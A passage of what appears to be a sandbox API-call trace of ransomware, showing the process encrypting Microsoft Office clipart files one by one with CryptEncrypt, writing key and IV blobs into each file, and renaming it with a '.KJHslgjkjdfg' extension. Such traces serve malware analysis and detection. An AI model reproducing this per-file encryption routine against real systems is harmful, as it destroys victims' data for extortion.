pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ad0, dwBufLen=0x1ad0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ad0) returned 1 [0201.060] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.060] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1ad0, lpOverlapped=0x0) returned 1 [0201.061] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.061] SetEndOfFile (hFile=0x130) returned 1 [0201.063] GetProcessHeap () returned 0x2ef0000 [0201.063] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.063] GetProcessHeap () returned 0x2ef0000 [0201.063] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.063] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.kjhslgjkjdfg")) returned 1 [0201.064] CloseHandle (hObject=0x130) returned 1 [0201.064] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1918, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107494.WMF", cAlternateFileName="")) returned 1 [0201.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.064] GetProcessHeap () returned 0x2ef0000 [0201.064] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.065] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.065] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.065] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.067] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.067] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.067] GetProcessHeap () returned 0x2ef0000 [0201.067] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.067] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.067] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.067] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.067] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.067] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.067] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.067] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.068] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.068] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.068] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.068] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1918, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1918, lpOverlapped=0x0) returned 1 [0201.068] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1920, dwBufLen=0x1920 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1920) returned 1 [0201.069] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.069] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1920, lpOverlapped=0x0) returned 1 [0201.069] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.069] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x19f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.069] SetEndOfFile (hFile=0x130) returned 1 [0201.071] GetProcessHeap () returned 0x2ef0000 [0201.071] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.071] GetProcessHeap () returned 0x2ef0000 [0201.071] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.071] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.kjhslgjkjdfg")) returned 1 [0201.072] CloseHandle (hObject=0x130) returned 1 [0201.072] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107496.WMF", cAlternateFileName="")) returned 1 [0201.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.073] GetProcessHeap () returned 0x2ef0000 [0201.073] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.073] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.073] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.073] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.073] GetProcessHeap () returned 0x2ef0000 [0201.073] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.073] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.073] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.073] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.075] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.075] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.076] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.076] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.076] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.076] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.076] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.076] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.076] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x22a0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x22a0, lpOverlapped=0x0) returned 1 [0201.077] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x22a0, dwBufLen=0x22a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x22a0) returned 1 [0201.077] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.077] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x22a0, lpOverlapped=0x0) returned 1 [0201.077] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.077] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.077] SetEndOfFile (hFile=0x130) returned 1 [0201.079] GetProcessHeap () returned 0x2ef0000 [0201.079] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.079] GetProcessHeap () returned 0x2ef0000 [0201.079] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.079] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.kjhslgjkjdfg")) returned 1 [0201.080] CloseHandle (hObject=0x130) returned 1 [0201.081] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107500.WMF", cAlternateFileName="")) returned 1 [0201.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.081] GetProcessHeap () returned 0x2ef0000 [0201.081] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.081] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.081] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.081] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.083] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.083] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.083] GetProcessHeap () returned 0x2ef0000 [0201.083] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.083] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.083] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.083] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.083] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.083] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.084] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.084] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.084] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.084] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.084] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1068, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1068, lpOverlapped=0x0) returned 1 [0201.085] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1070, dwBufLen=0x1070 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1070) returned 1 [0201.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.085] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1070, lpOverlapped=0x0) returned 1 [0201.085] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.085] SetEndOfFile (hFile=0x130) returned 1 [0201.087] GetProcessHeap () returned 0x2ef0000 [0201.087] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.087] GetProcessHeap () returned 0x2ef0000 [0201.088] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.kjhslgjkjdfg")) returned 1 [0201.089] CloseHandle (hObject=0x130) returned 1 [0201.089] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107502.WMF", cAlternateFileName="")) returned 1 [0201.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.090] GetProcessHeap () returned 0x2ef0000 [0201.090] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.090] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.090] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.090] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.092] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.092] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.092] GetProcessHeap () returned 0x2ef0000 [0201.092] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.092] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.092] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.092] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.092] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.092] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.093] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.093] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.093] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.093] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.093] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2a54, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2a54, lpOverlapped=0x0) returned 1 [0201.094] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a60, dwBufLen=0x2a60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a60) returned 1 [0201.094] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.094] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2a60, lpOverlapped=0x0) returned 1 [0201.094] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.094] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.095] SetEndOfFile (hFile=0x130) returned 1 [0201.097] GetProcessHeap () returned 0x2ef0000 [0201.097] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.097] GetProcessHeap () returned 0x2ef0000 [0201.097] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.097] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" 